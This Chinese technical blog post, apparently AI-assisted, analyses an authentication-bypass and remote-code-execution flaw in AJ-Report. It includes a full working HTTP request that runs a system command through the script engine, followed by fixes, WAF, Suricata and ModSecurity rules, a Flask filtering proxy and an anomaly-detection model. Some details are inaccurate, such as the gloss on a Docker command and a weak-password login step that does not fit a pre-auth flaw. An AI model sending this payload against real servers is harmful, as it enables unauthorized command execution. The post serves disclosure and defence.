创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理分析
漏洞名称:AJ-Report 数据大屏系统 存在认证绕过 & 远程代码执行漏洞
CNVD 编号:CNVD-2024-15077
等价 CVE:CVE-2024-7314
影响版本:AJ-Report < 1.4.1
漏洞类型:认证绕过 + 远程命令执行
危害等级:Critical(高危)
漏洞核心原理(Concept)
这个漏洞本质上是认证绕过(Authentication Bypass)配合参数不安全解析导致远程命令执行(RCE)。它的两个关键点是:
- 绕过认证
攻击者调用受保护接口时,在 URL 中添加类似;swagger-ui(矩阵参数)的路径后缀,从而绕过了 AJ-Report 的Token/认证过滤逻辑。该路径被框架错误地认为是合法访问,不触发认证拦截。 - 不安全的脚本引擎执行
在绕过认证后,漏洞利用依赖于validationRules参数未被过滤,直接传递给 Nashorn JavaScript 引擎的ScriptEngine.eval()执行,从而可能执行任意 Java 代码或系统命令。
总结:攻击者通过构造特制路径 + 携带恶意 JavaScript/Java 代码触发 RCE。
A. 鉴权绕过原理(分号利用)
AJ-Report 的权限过滤器在拦截请求时,往往使用 request.getRequestURI() 进行路径匹配。
- 攻击者技巧:在 URL 后缀添加
;swagger-ui。 - 过滤器逻辑:由于配置了 Swagger 相关路径(如
/swagger-ui/**)为匿名访问,过滤器看到后缀后误认为这是一个静态资源请求,从而放行。 - 后端匹配:Spring MVC 在路由请求到
Controller时,会自动剥离分号后的内容,将请求准确送达/dataSetParam/verification这个本应受保护的敏感接口。
B. 代码注入点(脚本引擎)
该接口接受 validationRules 参数,后端代码直接将其传入 javax.script.ScriptEngine.eval()。
-
Payload 构造:利用 Java 1.8 默认自带的 Nashorn 脚本引擎,通过
java.lang.Runtime调用系统命令。validationRules = "java.lang.Runtime.getRuntime().exec('whoami')"
攻击场景流程图 + DFD 威胁建模
下面是该漏洞的攻击流程图
flowchart TD
A[攻击者] --> B[构造恶意HTTP请求]
B --> C[POST /dataSetParam/verification<br>路径包含swagger-ui后缀]
C --> D[请求到达AJ-Report应用]
D --> E[认证过滤器检查]
E --> F{路径包含swagger-ui<br>被误判为文档请求}
F -->|是| G[跳过认证检查]
F -->|否| H[执行正常认证]
G --> I[转发到控制器]
H --> Z[返回401/403]
I --> J[获取validationRules参数]
J --> K[执行ScriptEngine.eval]
K --> L[执行用户提供的JavaScript代码]
L --> M[通过Java反射调用Runtime.exec]
M --> N[执行系统命令]
N --> O[获取命令执行结果]
O --> P[返回给攻击者]
style C fill:#ff9999
style F fill:#ff6666
style K fill:#ff3333
style M fill:#cc0000
漏洞原理代码图示
- 认证过滤器漏洞代码
┌─────────────────────────────────────────────────────┐
│ AJ-Report 认证过滤器漏洞 │
├─────────────────────────────────────────────────────┤
│ @Override │
│ public boolean preHandle(HttpServletRequest req, │
│ HttpServletResponse res, │
│ Object handler) { │
│ String uri = req.getRequestURI(); │
│ │
│ // 漏洞点:检查路径是否包含"swagger-ui" │
│ if (uri.contains("swagger-ui")) { │
│ // 误判为Swagger UI文档请求,跳过认证 │
│ return true; │
│ } │
│ │
│ // 正常认证流程... │
│ return checkAuth(req); │
│ } │
└─────────────────────────────────────────────────────┘
认证过滤器逻辑:
if (requestURI.contains("swagger-ui")) {
// 认为是Swagger UI文档请求
// 跳过认证检查 ← 漏洞点
return true;
}
攻击者利用:
原始路径:/dataSetParam/verification
恶意路径:/dataSetParam/verification;swagger-ui
结果:包含"swagger-ui"字符串,绕过认证
- 控制器漏洞代码
┌─────────────────────────────────────────────────────┐
│ dataSetParamController 漏洞 │
├─────────────────────────────────────────────────────┤
│ @PostMapping("/verification") │
│ public Result verification(@RequestBody Map<String,│
│ Object> param) { │
│ // 从请求参数获取validationRules │
│ String validationRules = │
│ (String) param.get("validationRules"); │
│ │
│ // 漏洞点:直接执行用户输入的脚本代码 │
│ ScriptEngine engine = │
│ new ScriptEngineManager() │
│ .getEngineByName("JavaScript"); │
│ │
│ try { │
│ // 执行任意JavaScript代码 │
│ Object result = engine.eval(validationRules);│
│ return Result.ok(result); │
│ } catch (ScriptException e) { │
│ return Result.error(e.getMessage()); │
│ } │
│ } │
└─────────────────────────────────────────────────────┘
控制器代码:
@PostMapping("/verification")
public Result verification(@RequestBody Map param) {
String validationRules = (String) param.get("validationRules");
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Object result = engine.eval(validationRules); ← 漏洞点
return Result.ok(result);
}
攻击payload示例:
{
"validationRules": "java.lang.Runtime.getRuntime().exec('id')"
}
DFD 威胁建模(简化)
[External Entity]
Attacker
|
| (1) HTTP Request with crafted semicolon suffix
v
[Process P1: Request Parser / Auth Filter]
|
| (2) Auth Bypass due to incorrect route handling
v
[Process P2: validationRules Handler]
|
| (3) eval() script with attacker input
v
[System Execution / OS Process]
STRIDE 分析
| 威胁类型 | 是否存在 | 说明 |
|---|---|---|
| Spoofing | ⚠️ | 无需合法认证即可访问 |
| Tampering | ✅ | 攻击者控制参数执行系统命令 |
| Repudiation | ⚠️ | 操作难归属到合法用户 |
| Info Disclosure | ⚠️ | 可读取结果/错误信息 |
| DoS | ✅ | 代码执行可致阻断服务 |
| Elevation of Privilege | ✅ | 普通攻击者获得服务器 RCE |
漏洞复现原理图示说明
flowchart TD
A[攻击者] --> B[构造恶意HTTP请求]
B --> C[POST /dataSetParam/verification<br>路径包含swagger-ui后缀]
C --> D[请求到达AJ-Report应用]
D --> E[认证过滤器检查]
E --> F{路径包含swagger-ui<br>被误判为文档请求}
F -->|是| G[跳过认证检查]
F -->|否| H[执行正常认证]
G --> I[转发到控制器]
H --> Z[返回401/403]
I --> J[获取validationRules参数]
J --> K[执行ScriptEngine.eval]
K --> L[执行用户提供的JavaScript代码]
L --> M[通过Java反射调用Runtime.exec]
M --> N[执行系统命令]
N --> O[获取命令执行结果]
O --> P[返回给攻击者]
style C fill:#ff9999
style F fill:#ff6666
style K fill:#ff3333
style M fill:#cc0000
下面用原理图示说明该漏洞是如何被利用的:
Normal Flow:
Client → POST /dataSetParam/verification → Auth Filter → parameter validation → safe response
Vulnerable Flow:
Attacker → POST /dataSetParam/verification;swagger-ui → Auth Filter Skip
↓
Process validationRules → eval(validationRules) → ScriptEngine executes attacker code
↓
RCE / System Command Execution
AJ-Report 使用 Spring Boot 路由处理,当 URL 中出现分号附加部分(如 ;swagger-ui)时,路由匹配成功但TokenFilter未按预期激活,从而导致认证被绕过,最终执行不安全的脚本引擎逻辑。
┌────────────┐ ① 构造恶意请求路径:/dataSetParam/verification;swagger-ui
│ 攻击者 │ ─────────────────────────────────────────────────────┐
└────────────┘ │
│ ▼
│ ② 在请求体中添加 validationRules 参数,包含恶意 JavaScript 代码
│ (如:java.lang.Runtime.getRuntime().exec("id")) │
│ ──────────────────────────────────────────────────────────────│
▼ │
┌─────────────────────┐ │
│ AJ-Report 认证过滤器│ ◄──────────────────────────────────────────────┘
│ 检查路径,发现包含 │ ③ 认证过滤器被绕过,请求进入控制器
│ "swagger-ui" 后缀 │
│ 跳过认证 │
└─────────┬───────────┘
│ ④ 调用 ScriptEngine.eval(validationRules)
▼
┌─────────────────────┐
│ 恶意代码执行 │
│ 攻击者获得系统权限 │
└─────────────────────┘
漏洞复现
用弱口令进入登陆界面,
发送以下数据包
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: localhost:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
可以看到id命令执行成功。
修复建议
修复措施
-
升级到官方修复版本 AJ-Report 1.4.1 及以上版本 修复了该漏洞,应立即升级。
-
关闭或限制敏感功能
可临时在 Web 服务器层:
- 禁止
;矩阵参数 - 禁止访问 Swagger 附加入口
- 强制 TokenFilter 在所有请求阶段执行
- 强化输入验证
在服务器端对 validationRules 严格过滤:
- 禁止任意执行代码字符串
- 对脚本引擎执行内容进行白名单校验
伪代码级修复示例
// 修复点 1:权限过滤器加强
public boolean doFilter(HttpServletRequest request) {
// 强制清理路径中的分号等矩阵变量
String cleanPath = PathUtils.normalize(request.getServletPath());
if (isWhiteList(cleanPath)) {
return true;
}
return checkToken(request);
}
// 修复点 2:业务端参数校验
@PostMapping("/verification")
public Result verify(@RequestBody DataSetParam param) {
String rules = param.getValidationRules();
// 严禁包含 Java 反射或 Runtime 等敏感关键字
if (rules.contains("java.lang") || rules.contains("Runtime")) {
throw new SecurityException("Illegal Script Detect!");
}
// 执行脚本前设置沙箱上下文
return scriptEngine.eval(rules, safeContext);
}
修复方案1:认证过滤器修复
// 修复认证过滤器,使用精确匹配而不是contains
@Component
public class SecurityFilter implements Filter {
private static final Set<String> PUBLIC_PATHS = Set.of(
"/swagger-ui.html",
"/swagger-ui/",
"/v2/api-docs",
"/webjars/"
);
@Override
public void doFilter(ServletRequest req, ServletResponse res,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
String uri = request.getRequestURI();
// 1. 移除路径中的特殊字符
String cleanUri = cleanPath(uri);
// 2. 精确匹配公共路径
boolean isPublic = PUBLIC_PATHS.stream()
.anyMatch(path -> cleanUri.startsWith(path));
// 3. 额外的安全检测
if (uri.contains(";") || uri.contains("%3B")) {
// 记录并阻止可疑请求
logSecurityEvent(request, "SUSPICIOUS_PATH", uri);
sendForbidden(res);
return;
}
if (!isPublic) {
// 执行认证检查
if (!isAuthenticated(request)) {
sendUnauthorized(res);
return;
}
}
chain.doFilter(req, res);
}
private String cleanPath(String uri) {
// 移除路径中的分号等特殊字符
return uri.split(";")[0];
}
}
修复方案2:控制器安全加固
@RestController
@RequestMapping("/dataSetParam")
public class SecureDataSetParamController {
// 使用安全的脚本执行环境
private final SafeScriptExecutor scriptExecutor;
@PostMapping("/verification")
public ResponseEntity<?> verification(@RequestBody @Valid ValidationRequest request) {
// 1. 验证输入长度和内容
if (!isValidValidationRules(request.getValidationRules())) {
return ResponseEntity.badRequest().body("Invalid validation rules");
}
try {
// 2. 使用安全的执行引擎
Object result = scriptExecutor.safeEval(
request.getValidationRules(),
request.getParameters()
);
return ResponseEntity.ok(Result.success(result));
} catch (SecurityException e) {
// 3. 记录安全异常
log.warn("Security violation in script execution: {}", e.getMessage());
return ResponseEntity.status(HttpStatus.FORBIDDEN)
.body("Security policy violation");
}
}
private boolean isValidValidationRules(String rules) {
// 限制长度
if (rules == null || rules.length() > 1000) {
return false;
}
// 检查是否包含危险关键字
String[] dangerousKeywords = {
"Runtime", "Process", "exec", "System", "ClassLoader",
"File", "Writer", "Reader", "Network", "Socket"
};
for (String keyword : dangerousKeywords) {
if (rules.contains(keyword)) {
return false;
}
}
return true;
}
}
修复方案3:安全配置
# application-security.yml
security:
path:
# 精确配置公共路径
public-paths:
- /swagger-ui.html
- /swagger-ui/**
- /v2/api-docs
- /webjars/**
# 阻止特殊字符
block-special-chars-in-path: true
blocked-chars: [";", "..", "%00", "%0a", "%0d"]
script:
# 禁用危险脚本功能
enable-script-engine: false
safe-mode: true
# 白名单允许的函数
allowed-functions:
- "Math.*"
- "String.*"
- "Date.*"
validation:
# 输入验证配置
max-input-length: 1000
regex-pattern: "^[a-zA-Z0-9\\s\\+\\-\\*\\/\\(\\)\\.\\[\\]\\{\\}]+$"
基于该漏洞的安全检测与防护规则
尽管 RCE 利用细节属于深层应用逻辑层,但仍可设计检测规则来探测相关恶意行为:
- WAF 规则(阻断矩阵参数滥用)
# Nginx配置阻止攻击
location ~* /dataSetParam/verification.*swagger-ui {
deny all;
return 403;
}
location ~* \.(js|jsp)$ {
# 阻止包含恶意关键字的请求体
if ($request_body ~* "java\.lang\.Runtime|getRuntime\(\)|exec\(") {
return 403;
}
}
匹配携带分号的路径访问敏感验证接口。
- IDS / Suricata 规则
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"AJ-Report RCE Attempt via Auth Bypass";
flow:to_server,established;
content:"POST"; http_method;
content:"/dataSetParam/verification"; http_uri;
content:";swagger-ui"; http_uri;
content:"validationRules"; http_client_body;
pcre:"/java\\.lang\\.Runtime|getRuntime\\(\\s*\\)/Pi";
classtype:web-application-attack;
sid:2024001;
rev:1;
)
3. SIEM 关联检测建议
{
"rule": {
"name": "AJ-Report_RCE_Attempt",
"query": "http.request.uri: \"/dataSetParam/verification\" AND http.request.body: \"validationRules\" AND (http.request.uri: \";swagger-ui\" OR http.request.body: \"Runtime.exec\" OR http.request.body: \"getRuntime()\")",
"severity": "CRITICAL",
"actions": ["alert", "block_ip", "notify_admin"]
},
"conditions": {
"time_window": "5m",
"threshold": 3
}
}
基于 Flask 的实时检测与防护(应用层)
部署一个 Flask 应用作为反向代理/API 网关,对所有进入 AJ-Report 的请求进行预处理,拦截恶意请求。
1.1 Flask 中间件:认证绕过检测与输入验证
# aj_report_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time
app = Flask(__name__)
# 敏感路径列表(根据 AJ-Report 实际端点调整)
SENSITIVE_PATHS = [
'/dataSetParam/verification',
'/dataSetParam/verification/',
]
# 认证绕过检测:检查路径中是否包含分号+swagger-ui
def has_auth_bypass(path):
return re.search(r';swagger-ui', path, re.IGNORECASE) is not None
# 检测恶意 JavaScript/Java 代码特征
RCE_PATTERNS = [
re.compile(r'java\.lang\.Runtime', re.I),
re.compile(r'getRuntime\(\)\.exec', re.I),
re.compile(r'ProcessBuilder', re.I),
re.compile(r'eval\s*\(', re.I),
re.compile(r'exec\s*\(', re.I),
re.compile(r'child_process', re.I), # Node.js 相关
]
def contains_rce_payload(data):
for pattern in RCE_PATTERNS:
if pattern.search(data):
return True
return False
# 简单的速率限制
request_records = {}
def rate_limit(ip, limit=30, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 检查路径是否敏感
for path in SENSITIVE_PATHS:
if request.path.startswith(path):
# 2. 检测认证绕过
if has_auth_bypass(request.path):
log_attack(request, 'auth_bypass')
abort(403, description='Auth bypass attempt detected')
# 3. 检查请求体/参数中的 RCE payload
if request.method in ['POST', 'PUT']:
data = request.get_data(as_text=True)
if contains_rce_payload(data):
log_attack(request, 'rce_payload')
abort(403, description='Malicious payload detected')
elif request.method == 'GET':
args = request.args.to_dict()
for key, value in args.items():
if contains_rce_payload(value):
log_attack(request, 'rce_payload')
abort(403, description='Malicious payload detected')
# 4. 对未认证请求进行速率限制(可选)
# 假设认证信息在 cookie 或 header 中
is_authenticated = request.cookies.get('token') or request.headers.get('Authorization')
if not is_authenticated:
if rate_limit(request.remote_addr):
abort(429, description='Too many requests')
break # 仅处理敏感路径
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type):
with open('attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")
# 转发请求到后端 AJ-Report
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 此处应实际转发请求到 AJ-Report 服务器(如 http://localhost:8080)
# 示例中仅返回模拟信息
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
1.2 日志监控脚本
实时分析 AJ-Report 访问日志,发现包含 ;swagger-ui 或 RCE 特征的请求。
# monitor_logs.py
import re
import sys
LOG_PATTERN = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
AUTH_BYPASS_PATTERN = re.compile(r';swagger-ui', re.I)
RCE_PATTERNS = [
re.compile(r'java\.lang\.Runtime', re.I),
re.compile(r'getRuntime\(\)\.exec', re.I),
]
def analyze_log(logfile):
with open(logfile, 'r') as f:
for line in f:
match = LOG_PATTERN.search(line)
if not match:
continue
path = match.group('path')
ip = match.group('ip')
if AUTH_BYPASS_PATTERN.search(path):
print(f"[!] 认证绕过尝试:IP {ip} 访问 {path}")
# 可选:检查响应内容中是否有错误信息,或单独分析 POST 数据
基于 TensorFlow 的异常行为检测
利用机器学习模型识别针对 AJ-Report 的异常访问模式,特别是对敏感端点的攻击尝试。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:
path_length: 请求路径长度has_semicolon: 路径是否包含分号(0/1)has_swagger: 路径是否包含 "swagger-ui"(0/1)method: 请求方法(GET=1, POST=2, PUT=3, DELETE=4)body_length: 请求体长度(若为POST)has_runtime_keyword: 请求体中是否包含Runtime等关键字hour: 请求小时ip_reputation: IP 信誉分(如来自代理或恶意IP)user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
# request_entry 包含: ip, path, method, body, user_agent, is_auth, timestamp
import hashlib
features = [
len(request_entry['path']),
1 if ';' in request_entry['path'] else 0,
1 if 'swagger-ui' in request_entry['path'].lower() else 0,
{'GET':1, 'POST':2, 'PUT':3, 'DELETE':4}.get(request_entry['method'], 0),
len(request_entry.get('body', '')),
1 if 'Runtime' in request_entry.get('body', '') else 0,
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']), # 需实现
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('ajreport_anomaly_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
model = load_model('ajreport_anomaly_model.h5')
THRESHOLD = 0.8
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
# 在 Flask 中间件中调用
@app.before_request
def before_request():
# ... 其他检测 ...
if request.path.startswith('/dataSetParam/verification'):
# 构建 request_entry 和 history
request_entry = {
'ip': request.remote_addr,
'path': request.path,
'method': request.method,
'body': request.get_data(as_text=True),
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': bool(request.cookies.get('token') or request.headers.get('Authorization')),
'timestamp': datetime.now()
}
history = get_ip_history(request.remote_addr) # 需从缓存获取
if predict_anomaly(request_entry, history):
abort(403, description='Anomaly detected')
基于 ModSecurity 的 WAF 规则 在 Apache/NGINX 中部署 ModSecurity,拦截对 AJ-Report 的认证绕过和 RCE 尝试。 3.1 基础规则
# modsecurity_crs_69_ajreport_cnvd_2024_15077.conf
# 规则1:拦截路径中包含 ;swagger-ui 的请求
SecRule REQUEST_URI "@contains ;swagger-ui" \
"id:1006001,\
phase:1,\
t:none,\
deny,\
status:403,\
msg:'AJ-Report CNVD-2024-15077 - Auth bypass attempt',\
logdata:'Request URI: %{REQUEST_URI}',\
tag:'attack-auth-bypass',\
tag:'cnvd-2024-15077',\
severity:'CRITICAL'"
# 规则2:检测 POST/PUT 请求体中包含 RCE 关键字
SecRule REQUEST_BODY "@rx (?i)(java\.lang\.Runtime|getRuntime\(\)\.exec|ProcessBuilder|eval\s*\()" \
"id:1006002,\
phase:2,\
t:none,\
block,\
capture,\
msg:'AJ-Report RCE attempt - Java/Runtime in body',\
logdata:'Matched: %{TX.0}',\
tag:'attack-rce',\
severity:'CRITICAL'"
# 规则3:检测 GET 参数中的 RCE 关键字
SecRule ARGS "@rx (?i)(java\.lang\.Runtime|getRuntime\(\)\.exec|ProcessBuilder|eval\s*\()" \
"id:1006003,\
phase:2,\
t:none,\
block,\
capture,\
msg:'AJ-Report RCE attempt - Java/Runtime in args',\
logdata:'Matched: %{TX.0}',\
tag:'attack-rce',\
severity:'CRITICAL'"
# 规则4:对敏感端点进行速率限制(防止扫描)
SecRule REQUEST_URI "@beginsWith /dataSetParam/verification" \
"id:1006004,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'AJ-Report verification endpoint rate limiting',\
setvar:'tx.verification_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.verification_counter_%{REMOTE_ADDR}=60'"
SecRule TX:verification_counter_%{REMOTE_ADDR} "@gt 10" \
"id:1006005,\
phase:1,\
block,\
msg:'Too many requests to verification endpoint',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name ajreport.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location / {
proxy_pass http://aj-report-backend:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:CNVD-2024-15077 是一个严重的前置认证绕过+RCE漏洞。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 AJ-Report 的用户立即采取行动。